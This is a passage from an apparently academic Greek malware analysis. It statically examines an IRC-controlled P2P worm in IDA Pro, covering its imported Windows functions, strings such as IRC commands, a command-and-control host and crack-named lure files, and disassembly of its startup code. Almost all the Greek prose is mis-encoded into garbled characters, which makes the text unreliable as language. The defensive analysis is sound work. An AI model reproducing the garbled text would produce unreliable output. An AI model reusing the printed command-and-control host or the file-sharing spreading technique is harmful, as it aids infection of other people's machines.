βαζηθέο εθδόζεηο ηνπο ππνζηεξίδνπλ κόλν επεμεξγαζηέο x86 ελώ ε πην πξνεγκέλε 

έθδνζε ππνζηεξίδεη θαη αξρηηεθηνληθέο x64. 

Δκείο ζα επηθεληξσζνύκε (ιόγσ ηεο θύζεο ηνπ malware) ζε file format PE θαη 

αξρηηεθηνληθή x86. O IDA PRO ζα θάλεη αληίζηξνθε ζπκβνινκεηάθξαζε ζε όιν ην 

εθηειέζηκν θαη ζα εθηειέζεη κηα ζεηξά από ελέξγεηεο όπσο εληνπηζκόο ζπλαξηήζεσλ, 



Πα
νε
πι
στ
ήμ
ιο 
Πε
ιρα
ιώ
ς

αλάιπζε ηεο ζηνίβαο, αλαγλώξηζε ηνπηθώλ κεηαβιεηώλ θαη δηάθνξεο άιιεο νη νπνίεο 

καο θέξλνπλ θνληά ζηνλ πεγαίν θώδηθα (source code). 

Όηαλ εθηειέζνπκε έλα εθηειέζηκν κε ηνλ IDA Pro ζα εκθαληζηεί ν θώδηθαο assembly ηνπ 

ζε κνξθή γξάθνπ, θαη ζε απιή κνξθή θεηκέλνπ (εηθόλα 4). Σε μερσξηζηά παξάζπξα ζα 

εκθαληζηνύλ νη ζπλαξηήζεηο πνπ απηό πεξηέρεη, ηα νλόκαηα, νη ζπκβνινζεηξέο  νη 

εηζαγόκελεο θαη εμεξρόκελεο ζπλαξηήζεηο (εηθόλα 5). 

Μηα αλάιπζε νλνκάησλ, εηζαγόκελσλ ζπλαξηήζεσλ θαη ζπκβνινζεηξώλ καο δίλνπλ κηα 

εηθόλα ηεο ιεηηνπξγίαο ηνπ πξνγξάκκαηνο. Αλ απηά ζπλδπαζηνύλ κε κηα ραξηνγξάθεζε 

ηνπ θώδηθα assembly ηνπ εθηειέζηκνπ, ηόηε απνθηάκε κηα πιήξε εηθόλα ηεο ιεηηνπξγίαο 

ηνπ, θαη έρνπκε επηηύρεη ηελ αλάιπζε. Σπλδπάδνληαο ηελ αλάιπζε απηή κε δεδνκέλα 

πνπ έρνπκε από ηελ δπλακηθή αιιά θαη από πξνεγνύκελα ζηάδηα ηεο ζηαηηθήο 

αλάιπζεο, ηόηε αλάιπζε ηνπ malware καο είλαη επηηπρήο. 

 

 

Εηθόλα 4. Ο θώδηθας Assembly ζε κορθή Κεηκέλοσ θαη Γράθοσ ζηολ IDA Pro 
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Εηθόλα 5. Παράζσρα Σσκβοιοζεηρώλ, Ολοκάηωλ, Σσλαρηήζεωλ θαη Εηζαγόκελωλ Σσλαρηήζεωλ ζηολ IDA 

Pro 

 

3.2.2 Διζαγόμενες ΢σναρηήζεις 

 

Ο αλαιπηήο ελόο θαθόβνπινπ ινγηζκηθνύ κπνξεί λα αληιήζεη πνιύ ζεκαληηθέο 

πιεξνθνξίεο από ηηο ζπλαξηήζεηο πνπ απηό εηζάγεη. Οη εηζαγσγέο απηέο είλαη 

ζπλαξηήζεηο πνπ ρξεζηκνπνηνύληαη από έλα πξνγξάκκαηα νη νπνίεο είλαη ζηελ 

πξαγκαηηθόηεηα απνζεθεπκέλεο ζε άιιν πξόγξακκα, όπσο ζπλήζσο νη βηβιηνζήθεο 

θώδηθα (dll). Οη βηβιηνζήθεο απηέο κπνξνύλ λα ζπλδεζνύλ κε ηελ main ηνπ εθηειέζηκνπ 

κέζσ κηαο δηαδηθαζίαο πνπ ιέγεηαη ζύλδεζκνο (linking). Πξόθεηηαη γηα κηα ζπλήζεο 

πξαθηηθή ησλ πξνγξακκαηηζηώλ γηα λα απνθεύγεηαη ε επαλεγγξαθή θώδηθα γηα 

ζπγθεθξηκέλεο ρξήζεηο ζηα πξνγξάκκαηα ηνπο.  

Σε έλαλ ζύλδεζκν βηβιηνζεθώλ, ην ιεηηνπξγηθό ζύζηεκα ςάρλεη γηα ηηο απαξαίηεηεο 

βηβιηνζήθεο, όηαλ ην πξόγξακκα θνξηώλεηαη, θαη όηαλ ην πξόγξακκα θαιέζεη έλαλ 

ζύλδεζκν ε ζπλάξηεζε εθηειείηαη. 
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Γηα παξάδεηγκα αλ ζε έλα πξόγξακκα παξαηεξήζνπκε πσο εηζάγεηαη ε ζπλάξηεζε 

URLDownloadToFile, αλακέλνπκε πσο θάπνηα ζηηγκή ζα γίλεη θιήζε ζε απηήλ ηελ 

ζπλάξηεζε ε νπνία ζα έρεη σο απνηέιεζκα λα επηρεηξεζεί ζύλδεζε ζην δηαδίθηπν κε 

ζθνπό ην θαηέβαζκα πιηθνύ θαη ηελ απνζήθεπζε ηνπ ζε θάπνην ηνπηθό αξρείν. 

Έλα πνιύ θαιό εξγαιείν ην νπνίν κπνξεί λα καο δείμεη ηνπο ζπλδέζκνπο ζπλαξηήζεσλ 

θαη ηηο αληίζηνηρεο βηβιηνζήθεο είλαη ην DepedencyWalker. Αλνίγνπκε ην malware καο κε 

ην DepedencyWalker θαη παξαηεξνύκε ηηο βηβιηνζήθεο (ζην πάλσ αξηζηεξά panel)  θαη 

ηηο αληίζηνηρεο ζπλαξηήζεηο (ζην πάλσ δεμηά panel) πνπ θαιεί όπσο θαίλεηαη θαη ζηελ 

εηθόλα 6. Ο πίλαθαο ζηελ εηθόλα 7 καο δείρλεη αλαιπηηθά ηα dll θαη ηηο ζπλαξηήζεηο πνπ 

εηζάγνληαη ζην εθηειέζηκν καο. 

 

 

Εηθόλα 6. Οη Σύλδεζκοη ηοσ Malware ζηο DepedencyWalker 
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KERNEL32.DLL KERNEL32 

(ζσνέτεια) 

WININET WSOCK32 CRTDLL 

CloseHandle HeapFree InternetCloseHand

le 

WSAStartup _GetMainAr

gs 

CopyFileA OpenMutexA InternetOpenA Connect Exit 

CreateDirectoryA ReadFile InternetOpenUrlA Gethostbyaddr Memset 

CreateFileA RtlUnwind InternetReadFile Gethostbyname Raise 

CreateMutexA RltZeroMemory ADVAPI32 Htons Rand 

CreateThread SetFilePointer RegCreatKeyExA Inet_addr Signal 

GetCommandLineA Sleep RegCloseKey Recv Srand 

GetFileSize WritFile RegOpenKeyExA Send Strchr 

GetModuleFileNam

eA 

IstrcatA RegQueryValueEx

A 

socket Strstr 

GetModuleHandleA IstrcmpA RegSetValueExA  strtok 

GetProcessHeap IstrcmpiA USER32   

GetSystemDirectory

A 

IstrcpyA WsprintfA   

GetTickCount IstrcpynA SHELL32   

HeapAlloc IstrlenA ShellExecuteA   

Εηθόλα 7. Λίζηα DLL θαη Σσλαρηήζεωλ ποσ Εηζάγοληαη ζηο Malware 

Αο δνύκε αξρηθά ηελ ρξεζηκόηεηα ηνπ θάζε DLL πνπ θαίλεηαη πσο ρξεζηκνπνηεί ην 

εθηειέζηκν. 

Τν Kernel32.dll είλαη έλα από ηα βαζηθόηεξα dll αξρεία ησλ Windows θαη πεξηέρεη 

ζεκαληηθέο  ζπλαξηήζεηο πνπ ζρεηίδνληαη κε πξόζβαζε θαη ρεηξηζκό κλήκεο, αξρείσλ 

θαη πιηθνύ-πόξσλ (hardware). 

Τν Advapi32.dll παξέρεη πξόζβαζε ζε ζεκαληηθέο ζηνηρεία ησλ Windows όπσο ηελ 

Registry θαη ηνλ Service Manager. 

To WSock32.dll είλαη έλα dll ην νπνίν ζρεηίδεηαη κε ζέκαηα δηθηύνπ. Πξόγξακκα ην 

νπνίν ρξεζηκνπνηεί ην ζπγθεθξηκέλν dll είλαη πηζαλό λα απνπεηξαζεί λα ζπλδεζεί ζην 

δηαδίθηπν. 
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Τν User32.dll πεξηέρεη όια ηα ζηνηρεία πνπ ζρεηίδνληαη κε ηελ δηεπαθή ηνπ ρξήζηε, 

όπσο θνπκπηά θαη ζηνηρεία πνπ ρξεζηκνπνηνύληαη γηα ηνλ έιεγρν αη ηελ απόθξηζε ησλ 

ελεξγεηώλ ηνπ ρξήζηε. 

Τν Shell32.dll πεξηέρεη ζπλαξηήζεηο πνπ ζρεηίδνληαη κε ην Windows Shell ApI νη νπνίεο 

ρξεζηκνπνηνύληαη όηαλ αλνίγνπλ ηζηνζειίδεο θαη αξρεία. 

Τν WININET.dll πεξηέρεη ζπλαξηήζεηο πνπ ζρεηίδνληαη κε ην πςειόηεξν επίπεδν δηθηύνπ 

πνπ εθηεινύλ πξσηόθνιια όπσο FTP, HTTP, NTP. 

Τν CRTDLL.dll πεξηέρεη ζπλαξηήζεηο πνπ ζρεηίδνληαη κε ην πεξηβάιινλ C Run-Time. 

Σην παξάξηεκα πεξηγξάθεηαη ε θάζε ζπλάξηεζε πνπ εηζάγεη ην malware. 

Σύκθσλα κε ηα παξαπάλσ κπνξνύκε λα βγάινπκε ηα εμήο ζπκπεξάζκαηα από ηελ 

κέρξη ηώξα αλάιπζε ησλ ζεκαληηθόηεξσλ εηζαγόκελσλ ζπλαξηήζεσλ. Οη εηζαγσγέο 

από ην Kernel32.dll καο ιέλε πσο ην malware αλνίγεη θαη ρεηξίδεηαη αξρεία (θαίλεηαη 

πσο γξάθεη ζε αξρείν), θαθέινπο θαη δηεξγαζίεο (ζπγθεθξηκέλα λήκαηα), δεκηνπξγεί 

mutex γηα ακνηβαίν απνθιεηζκό πηζαλώο γηα λα ειέγρεη όηη ππάξρεη έλα αληίγξαθν ηνπ 

malware ζην ζύζηεκα, αλαθηά ηελ ηνπνζεζία ηνπ System Directory (πηζαλόο γηα λα 

απνθαζίζεη πνπ ζα εγθαηαζηήζεη επηπιένλ πξνγξάκκαηα) θαη δηαρεηξίδεηαη 

ζπκβνινζεηξέο (ζπγθξίλεη, αληηγξάθεη, πξνζζέηεη). 

Οη εηζαγσγέο από ην WININET.dll θαη ην WSock32.dll, καο νδεγνύλ ζην ζπκπέξαζκα 

πσο ην malware ζα ρξεζηκνπνηήζεη ην δηαδίθηπν θαη κάιηζηα ζα ρξεζηκνπνηήζεη 

ζπγθεθξηκέλε URL δηεύζπλζε από ηελ νπνία ζα δηαβάζεη δεδνκέλα. Θα ζπλδεζεί ζε κηα 

δηεύζπλζε θαη ζα ζηείιεη δεδνκέλα. Η δηεύζπλζε είλαη γξακκέλε ζε ζπκβνινζεηξά θαη 

ζα κεηαηξαπεί (inet_addr) θαηάιιεια ώζηε λα δηαβαζηεί από ηελ send (ε νπνία ζα 

ζηείιεη ηα δεδνκέλα) ζηελ δηεύζπλζε απηή. Η ζύλδεζε ζα γίλεη ζε ζπγθεθξηκέλε ζύξα. 

Οη ζπλαξηήζεηο ηνπ ADVAPI32 νη νπνίεο θαινύληαη καο δείρλνπλ πσο ην malware 

πξνζπαζεί λα δηαρεηξηζηεί θιεηδηά ηεο Registry. Γεκηνπξγεί θαη αλνίγεη θιεηδηά ελώ 

θαίλεηαη λα ιακβάλεη πιεξνθνξίεο ζρεηηθά κε θιεηδηά ηα νπνία είλαη αλνηθηά. 
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Η εηζαγόκελε ζπλάξηεζε από ην SHELL32.dll καο δίλεη ηελ πιεξνθνξία πσο ην 

malware εθηειεί θάπνην άιιν πξόγξακκα. Θα ρξεηαζηεί αλάιπζε θάπνηαο πηζαλήο 

δηεξγαζίαο ηελ νπνία ην malware δεκηνπξγεί θαη εθηειεί. 

Τν CRTDLL πεξηέρεη ζπλαξηήζεηο νη νπνίεο ζρεηίδνληαη κε ηηο ηερληθέο 

πξνγξακκαηηζκνύ. Μπνξνύκε λα βγάινπκε ην ζπκπέξαζκα πσο ην malware ζπγθξίλεη 

θαη ζπλελώλεη ζπκβνινζεηξέο, ςάρλεη ζπγθεθξηκέλνπο ραξαθηήξεο ζε ζπκβνινζεηξέο 

θαη ρξεζηκνπνηεί γελλήηξηα ηπραίσλ αξηζκώλ (πηζαλώο γηα θσδηθνπνίεζε δεδνκέλσλ). 

Κάπνην άκεζν ζπκπέξαζκα δελ κπνξεί λα εμαρζεί. 

Τν ηη θάλεη ε θάζε θαινύκελε ζπλάξηεζε είλαη γλσζηό κηαο θαη πξόθεηηαη γηα 

ζπλαξηήζεηο νη νπνίεο εκπεξηέρνληαη ζε dll αξρεία ησλ Windows (παξάξηεκα). Απηό 

πνπ κέλεη λα θάλνπκε είλαη λα δνύκε πσο πεξίπνπ ρξεζηκνπνηνύληαη από ηνλ θώδηθα 

ηνπ malware. Ο θώδηθαο δελ είλαη γλσζηόο ζε εκάο νύηε ππάξρεη θάπνηνο ηξόπνο λα 

ηνλ δνύκε. Έηζη ζα κειεηήζνπκε ηνλ θώδηθα assembly ηνπ malware θαη ζα 

πξνζπαζήζνπκε λα βγάινπκε θάπνηα ζπκπεξάζκαηα από απηήλ ηελ αλάιπζε ζε 

ζπλδπαζκό κε όια ηα παξαπάλσ πνπ έρνπκε εμεηάζεη κέρξη ζηηγκήο. 

3.2.3 ΢σμβολοζειρές και Ονόμαηα 

Δμεηάδνληαο ην malware κπνξνύλ λα αληιεζνύλ πνιύ ζεκαληηθέο πιεξνθνξίεο από ηηο 

ζπκβνινζεηξέο πνπ απηό πεξηέρεη. Γηα παξάδεηγκα αλ έλα πξόγξακκα πξνζπαζεί λα 

απνθηήζεη πξόζβαζε ζε θάπνηα URL δηεύζπλζε, ηόηε ε δηεύζπλζε απηή ζα είλαη 

απνζεθεπκέλε σο ζπκβνινζεηξά ζηνλ θώδηθα ηνπ πξνγξάκκαηνο. 

Σηνλ IDA Pro παξαηεξνύκε κηα ζεηξά από ελδηαθέξνπζεο ζπκβνινζεηξέο πνπ 

πεξηέρνληαη ζηνλ θώδηθα ηνπ εθηειέζηκνπ καο (εηθόλα 8). 
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Εηθόλα 8. Σσκβοιοζεηρές ποσ Περηέτοληαη ζηο Malware όπως θαίλοληαη ζηολ IDA Pro 

Τν παξάζπξν πνπ πεξηέρεη ηα νλόκαηα (εηθόλα 9), πξόθεηηαη γηα κηα ιίζηα όισλ ησλ 

δηεπζύλζεσλ νη νπνίεο πεξηέρνπλ νλόκαηα πεξηιακβάλνληαο ζπλαξηήζεηο, νλόκαηα πνπ 

πεξηέρνληαη ζε θώδηθα, δεδνκέλα θαη ζπκβνινζεηξέο. Όζν αθνξά ην παξάζπξν ησλ 

ζπκβνινζεηξώλ ζα κπνξνύζακε λα πνύκε πσο πξόθεηηαη γηα έλα ππνζύλνιν ηνπ 

παξαζύξνπ νλνκάησλ. Η δηαθνξά ζηνλ ηξόπν εκθάληζεο ησλ ζπκβνινζεηξώλ όκσο 

ίζσο καο δώζεη θάπνηεο ζπκπιεξσκαηηθέο πιεξνθνξίεο ζρεηηθά κε ηηο ζπκβνινζεηξέο 

πνπ ρξεζηκνπνηνύληαη. 
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Εηθόλα 9. Λίζηα Ολοκάηωλ όπως θαίλοληαη ζηολ IDA Pro 

Αο δνύκε ηώξα ηη ζπκβνινζεηξέο πεξηέρνληαη ζηνλ θώδηθα θαη ηη ζπκπεξάζκαηα 

κπνξνύκε λα βγάινπκε από απηέο. 

Καηαξράο θάπνηεο (ζρεηηθά κηθξόο αξηζκόο) ζπκβνινζεηξέο δελ βγάδνπλ λόεκα, νπόηε 

πξνθαλώο δελ κπνξνύκε λα εμάγνπκε θάπνην ινγηθό ζπκπέξαζκα από απηέο. Π.ρ. νη 

ζπκβνινζεηξέο .>A$FPG$A>, %s\\%.exe, Jotubmm!Qbui δελ καο δίλνπλ θάπνηα 

πιεξνθνξία. Αληηζέησο νη ζπκβνινζεηξέο ##TIBiC-P2P3##, PRIVMSG, PONG 

:%s\r\nJOIN%s\r\n, PING, NICK %s\r\nUSER%s…:TIBiCP2P\r\n, tbc3.hanged.tk, καο 

δίλνπλ κηα πξνθαλή πιεξνθνξία. Τν malware επηρεηξεί λα ζπλδεζεί ζε θάπνηνλ IRC 

server θαη κάιηζηα θαίλεηαη λα ρξεζηκνπνηεί Username, γεγνλόο πνπ ζεκαίλεη πσο 

κάιινλ πξνζπαζεί λα θάλεη join ζε ζπγθεθξηκέλν ηδησηηθό θαλάιη. Τν TIBiCP2P ίζσο 

πξόθεηηαη γηα ην όλνκα ηνπ ηδησηηθνύ θαλαιηνύ. Πξόθεηηαη γηα ην ίδην αθξηβώο 

ζπκπέξαζκα ζην νπνίν νδεγεζήθακε θαη κε ηελ δπλακηθή αλάιπζε. 
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Οη ζπκβνινζεηξέο Software\\eMule, Software\\Morpheus, Software\\DC++, 

Software\\iMesh\\Client\\LocalContent, καο δίλνπλ ηελ πιεξνθνξία όηη ην malware ζα 

θάλεη πηζαλόλ θάπνηεο ελέξγεηεο πνπ ζρεηίδνληαη κε πξνγξάκκαηα δηακνηξαζκνύ 

αξρείσλ, όπσο ην DC++, ην iMesh, ην eMule θαη ην Morpheus.  

Υπάξρεη έλαο κεγάινο αξηζκόο ζπκβνινζεηξώλ πνπ ζρεηίδεηαη κε νλόκαηα αξρείσλ κε 

ηελ θαηάιεμε crack.exe, (keygen).exe nocd.exe, remover.exe, patch.exe, serial.exe. 

Αλαθέξεηαη ζε γλσζηά παηρλίδηα θαη πξνγξάκκαηα ειεθηξνληθώλ ππνινγηζηώλ θαη 

πξόθεηηαη γηα αξρεία ηα νπνία αληηθαζηζηνύλ ηα exe λόκηκσλ ινγηζκηθώλ κε απνηέιεζκα 

λα παξαθάκπηνπλ κεραληζκνύο αζθαιείαο θαη λα εθηεινύληαη θαη από κε λόκηκνπο 

ρξήζηεο. Παξαηεξνύκε επίζεο θαη ζπκβνινζεηξέο πνπ πεξηέρνπλ απιώο ην όλνκα 

θάπνησλ αξρείσλ κε ηελ θαηάιεμε exe. Πξόθεηηαη γηα ινγηζκηθό ην νπνίν δηαηίζεηαη 

δσξεάλ από ηνλ δεκηνπξγό θαη έηζη δελ απαηηείηαη θάπνην crack ε activation key γηα λα 

ρξεζηκνπνηεζεί. 

Γελ ζα παξαζέζνπκε νιόθιεξε ηελ ιίζηα απηήο ηεο νκάδαο ζπκβνινζεηξώλ κηαο θαη 

είλαη αξθεηά κεγάιε. Θα ζεκεηώζνπκε κόλν πσο πξόθεηηαη γηα πνιύ γλσζηά πξντόληα 

ινγηζκηθνύ θαη ζα αλαθέξνπκε ελδεηθηηθά ηηο παξαθάησ ζπκβνινζεηξέο όπσο θαίλνληαη 

θαη ζηνλ IDA Pro: Battlefield Vietnam EA Games crack.exe, Call of Duty Actvision 

crack.exe, Metal Gear Solid 3 – Snake Eater Konami crack.exe, Need for Speed 

Underground No CD crack.exe, ZoneAlarm crack (keygen).exe, MSN advert 

remover.exe, WinZip Self-Extractor v2.2 Patch.exe, Microsoft Office XP Professional 

Serial.exe, Yahoo Messenger.exe, LimeWire.exe, Mozilla Firefox.exe, Kazaa Download 

Accelerator Pro.exe, Winrar.exe. 

Φαίλεηαη ινηπόλ πσο ην malware ρξεζηκνπνηεί νλόκαηα αξρείσλ ηα νπνία ζρεηίδνληαη 

κε ηξόπνπο ζπαζίκαηνο πνιύ γλσζηώλ θαη επξέσο ρξεζηκνπνηνύκελσλ πξντόλησλ 

ινγηζκηθνύ. Αλ ην γεγνλόο απηό ζπλδπαζηεί θαη κε ην γεγνλόο πσο θαίλεηαη λα 

πξνβαίλεη ζε ελέξγεηεο ζρεηηθέο κε πξνγξάκκαηα δηακνηξαζκνύ αξρείσλ, ηόηε 

θαηαιήγνπκε ζην ζπκπέξαζκα πσο ην malware πξνζπαζεί λα αλαπαξαρζεί θαη λα 

κεηαδνζεί κέζσ πξνγξακκάησλ δηακνηξαζκνύ αξρείσλ. Έλαο ινγηθόο ηξόπνο ζα ήηαλ 

λα αληηγξάθεη ηνλ εαπηό ηνπ ζε θάπνηνλ θάθειν κε νλόκαηα όπσο απηά πνπ είδακε 
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παξαπάλσ ζηηο ζπκβνινζεηξέο πνπ αλαιύζακε θαη ζηελ ζπλέρεηα  λα ζέηεη απηόλ ηνλ 

θάθειν δηαζέζηκν γηα δηακνηξαζκό ζηα πξνγξάκκαηα δηακνηξαζκνύ αξρείσλ πνπ 

ρξεζηκνπνηεί. Απηόο ίζσο είλαη ν θάθεινο msview πνπ εληνπίζακε ζηελ δπλακηθή 

αλάιπζε κέζα ζην System DIirectory. 

Γελ θαίλεηαη λα ππάξρεη θάπνηα άιιε ινγηθή εμήγεζε ρξήζεο ησλ παξαπάλσ 

ζπκβνινζεηξώλ, έηζη κπνξνύκε λα πνύκε κε αζθάιεηα πσο ν ηξόπνο εμάπισζεο ηνπ 

θαθόβνπινπ ινγηζκηθνύ πνπ αλαιύνπκε πξέπεη λα είλαη απηόο. 

Η ζπκβνινζεηξά update, ίζσο ζρεηίδεηαη κε εληνιή ιεηηνπξγίαο ηνπ ίδηνπ ηνπ malware, 

θαη αλ ζπλδπαζηεί κε ηηο ζπκβνινζεηξέο PRIVMSG %s: Update error: Failed to open 

file\r\n, θαη PRIVMSG %s: Update error: File writer error\r\n νη νπνίεο θαίλεηαη λα 

ζρεηίδνληαη κε απνηπρία εθηέιεζεο ηεο εληνιήο update, θαίλεηαη πσο πηζαλώλ 

επηρεηξείηαη απνκαθξπζκέλνο έιεγρνο.  

Οη ζπκβνινζεηξέο DisableListFiles, IgnoreALl, NoUploadLimitWhenIdle, ScanFolder, 

LimitBitrate, UploadBandwith, DisableSharing, καο δίλνπλ επηπιένλ πιεξνθνξίεο 

ζρεηηθά κε ηελ ιεηηνπξγία ηνπ malware, όπσο όηη αλ ην ζύζηεκα βξίζθεηαη ζε 

θαηάζηαζε αδξάλεηαο λα κελ ππάξρεη όξην ζηελ ηαρύηεηα κε ηελ νπνία δηακνηξάδνληαη 

ηα δεδνκέλα κέζσ ησλ πξνγξακκάησλ δηακνηξαζκνύ αξρείσλ θαη πσο γεληθά 

αζρνιείηαη κε ζέκαηα πνπ αθνξνύλ ην ηνπο πόξνπο ηεο ζύλδεζεο θαη ηνλ δηακνηξαζκό 

αξρείσλ. 

Τέινο θαίλεηαη ε ζπκβνινζεηξά svcnet.exe, πνπ όπσο είδακε θαη ζηελ δπλακηθή 

αλάιπζε, πξόθεηηαη γηα ην όλνκα ηεο δηεξγαζίαο πνπ επηρεηξεί ηελ απνκαθξπζκέλε 

ζύλδεζε ζηνλ IRC Server θαη βξίζθεηαη ζηελ ηνπνζεζία C:\Windows\System32, θαη 

ζπκβνινζεηξά msview, γηα ηελ νπνία δελ κπνξνύκε λα εμάγνπκε θάπνην ζπκπέξαζκα 

μέξνπκε όκσο πσο δεκηνπξγήζεθε ζην System Directory από ην malware. 

Πνιύ θαιό πξόγξακκα γηα ηελ εύξεζε θαη κειέηε ησλ ζπκβνινζεηξώλ θαη ησλ 

νλνκάησλ πνπ θαίλνληαη ζηνλ θώδηθα ελόο εθηειέζηκνπ είλαη θαη ην BinText ηεο McAfee 

(εηθόλα 10). Τν πξόγξακκα απηό ρξεζηκνπνηήζεθε ζπκπιεξσκαηηθά ηνπ IDA Pro θαη ηα 

απνηειέζκαηα ήηαλ παξόκνηα. 
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Εηθόλα 10. Σσκβοιοζεηρές ηοσ Εθηειέζηκοσ όπως Φαίλοληαη ζηο BinText 

 

 

3.2.4 Κώδικας Assembly 

 

Αο εμεηάζνπκε ζε απηό ην ζεκείν ησλ θώδηθα assembly ηνπ πξνγξάκκαηνο όπσο απηόο 

θαίλεηαη ζηνλ IDA Pro. Θα παξνπζηάζνπκε ηα πην ελδηαθέξνληα θνκκάηηα ηνπ θώδηθα ηα 

νπνία καο δίλνπλ ηηο πιεξνθνξίεο πνπ απαηηνύληαη γηα ηελ θαηαλόεζε ηεο ιεηηνπξγίαο 

ηνπ malware. Ο θώδηθαο ζα παξνπζηαζηεί ζε κνξθή text πνπ είλαη θαη ε κνξθή ε νπνία 

ρξεζηκνπνηήζακε γηα λα ηνλ εμεηάζνπκε, αιιά ζε κεξηθά ζεκεία είλαη ρξήζηκν ν 

αλαιπηήο λα θνηηάεη θαη κεξηθέο ζπλαξηήζεηο ζε κνξθή γξάθνπ ηδηαίηεξα ζε ζεκεία πνπ 

θαίλεηαη πσο ππάξρεη θάπνηνο βξόγρνο, δηόηη παξνπζηάδεηαη ζε πην μεθάζαξε κνξθή. 

 

 
.text:00401219 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ 
.text:00401219 

.text:00401219 ; Attributes: bp-based frame 

.text:00401219 
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.text:00401219                 public start 

.text:00401219 start           proc near 

.text:00401219 

.text:00401219 var_30          = word ptr -30h 

.text:00401219 var_18          = dword ptr -18h 

.text:00401219 var_4           = dword ptr -4 

.text:00401219 

.text:00401219                 mov     eax, large fs:0 

.text:0040121F                 push    ebp 

.text:00401220                 mov     ebp, esp 

.text:00401222                 push    0FFFFFFFFh 

.text:00401224                 push    offset unk_40401C 

.text:00401229                 push    offset sub_40109A 

.text:0040122E                 push    eax 

.text:0040122F                 mov     large fs:0, esp 

.text:00401236                 sub     esp, 10h 

.text:00401239                 push    ebx 

.text:0040123A                 push    esi 

.text:0040123B                 push    edi 

.text:0040123C                 mov     [ebp+var_18], esp 

.text:0040123F                 push    eax 

.text:00401240                 fnstcw  [esp+30h+var_30] 

.text:00401243                 or      [esp+30h+var_30], 300h 

.text:00401249                 fldcw   [esp+30h+var_30] 

.text:0040124C                 add     esp, 4 

.text:0040124F                 push    0 

.text:00401251                 push    0 

.text:00401253                 push    offset dword_404028 

.text:00401258                 push    offset dword_404024 

.text:0040125D                 push    offset dword_404020 

.text:00401262                 call    __GetMainArgs 

.text:00401267                 push    dword_404028 

.text:0040126D                 push    dword_404024 

.text:00401273                 push    dword_404020 

.text:00401279                 mov     dword_404014, esp 

.text:0040127F                 call    sub_402FE8 

.text:00401284                 add     esp, 18h 

.text:00401287                 xor     ecx, ecx 

.text:00401289                 mov     [ebp+var_4], ecx 

.text:0040128C                 push    eax             ; int 

.text:0040128D                 call    exit 

.text:00401292 ; --------------------------------------------------------------------------- 

.text:00401292                 leave 

.text:00401293                 retn 

.text:00401293 start         endp ; sp = -3Ch 

.text:00401293 
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Τν πξώην θνκκάηη ηνπ θώδηθα θαίλεηαη πσο είλαη ε main (ζύκθσλα θαη κε ηνλ IDA Pro). 

Δδώ θαίλεηαη πσο ηα νξίζκαηα πεξλάλε ζηελ ζπλάξηεζε (γίλεηαη θιήζε ζηελ 

GetMainArgs) θαη ζηελ ζπλέρεηα θαιείηαη ε ζπλάξηεζε sub_402FE8. Η θιήζε ζηελ 

sub_402FE8 καο νδεγεί ζην παξαθάησ θνκκάηη ηνπ θώδηθα από ην νπνίν 

παξνπζηάδνπκε κόλν ηα ελδηαθέξνληα σο πξνο ηελ εμέηαζε θνκκάηηα: 

 

.text:00402FE8 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ 

.text:00402FE8 

.text:00402FE8 ; Attributes: bp-based frame 

.text:00402FE8 

.text:00402FE8 sub_402FE8      proc near               ; CODE XREF: start+66#p 

.text:00402FE8 

.text:00402FE8 var_4           = dword ptr -4 

.text:00402FE8 

.text:00402FE8                 push    ebp 

.text:00402FE9                 mov     ebp, esp 

.text:00402FEB                 push    ecx 

.text:00402FEC                 push    edi 

.text:00402FED                call    GetCommandLineA 

.text:00402FF2                 mov     edi, eax 

.text:00402FF4                 cmp     byte ptr [edi], 22h 

.text:00402FF7                 jnz     short loc_40301C 

.text:00402FF9                 push    22h             ; int 

.text:00402FFB                 mov     eax, edi 

.text:00402FFD                 inc     eax 

.text:00402FFE                 push    eax             ; char * 

.text:00402FFF                 call    strchr 

.text:00403004                 add     esp, 8 

.text:00403007                 mov     [ebp+var_4], eax 

.text:0040300A                 or      eax, eax 

.text:0040300C                 jz      short loc_403037 

.text:0040300E                 mov     edi, eax 

.text:00403010                 inc     edi 

.text:00403011                 jmp     short loc_403014 

 
………. 

 
.text:00403037                 push    0               ; lpModuleName 
.text:00403039                 call    GetModuleHandleA 

.text:0040303E                 push    1               ; int 

.text:00403040                 push    edi             ; lpString1 

.text:00403041                 push    0               ; int 

.text:00403043                 push    eax             ; int 

.text:00403044                 call    sub_4029B3 
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.text:00403049                 pop     edi 

.text:0040304A                 leave 

.text:0040304B                 retn 

.text:0040304B sub_402FE8      endp 

.text:0040304B 

.text:0040304C 

 

Σε απηό ην ζεκείν παξαηεξνύκε αξρηθά πσο γίλεηαη θιήζε ζηελ GetCommandLine. 

Έηζη εηζάγεηαη ε ζπκβνινζεηξά ηεο command line ζηελ ζπλάξηεζε θαη ζηελ ζπλέρεηα 

θαίλεηαη απηή λα ζπγθξίλεηαη κε ην 0x22 πνπ ζε Ascii αληηζηνηρεί ζην ζύκβνιν ησλ 

εηζαγσγηθώλ “. Η ζύγθξηζε απηή θαίλεηαη από ηελ γξακκή  cmp     byte ptr [edi], 22h. 

Σηελ ζπλέρεηα γίλεηαη θιήζε ζηελ ζπλάξηεζε strchr ε νπνία είλαη κηα θιαζηθή 

ζπλάξηεζε ηεο C θαη ςάρλεη γηα ηελ πξώηε εκθάληζε ελόο ζπγθεθξηκέλνπ ραξαθηήξα 

κέζα ζε κηα ζπκβνινζεηξά. Τέινο θαιείηαη ε ζπλάξηεζε sub_4029B3 ε νπνία καο 

νδεγεί ζε απηό ην θνκκάηη ηνπ θώδηθα: 

 

.text:004029B3 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ 

.text:004029B3 

.text:004029B3 ; Attributes: bp-based frame 

.text:004029B3 

.text:004029B3 ; int __stdcall sub_4029B3(int,int,LPCSTR lpString1,int) 

.text:004029B3 sub_4029B3      proc near               ; CODE XREF: 
sub_402FE8+5C#p 

.text:004029B3 

.text:004029B3 Parameter       = byte ptr -6C0h 

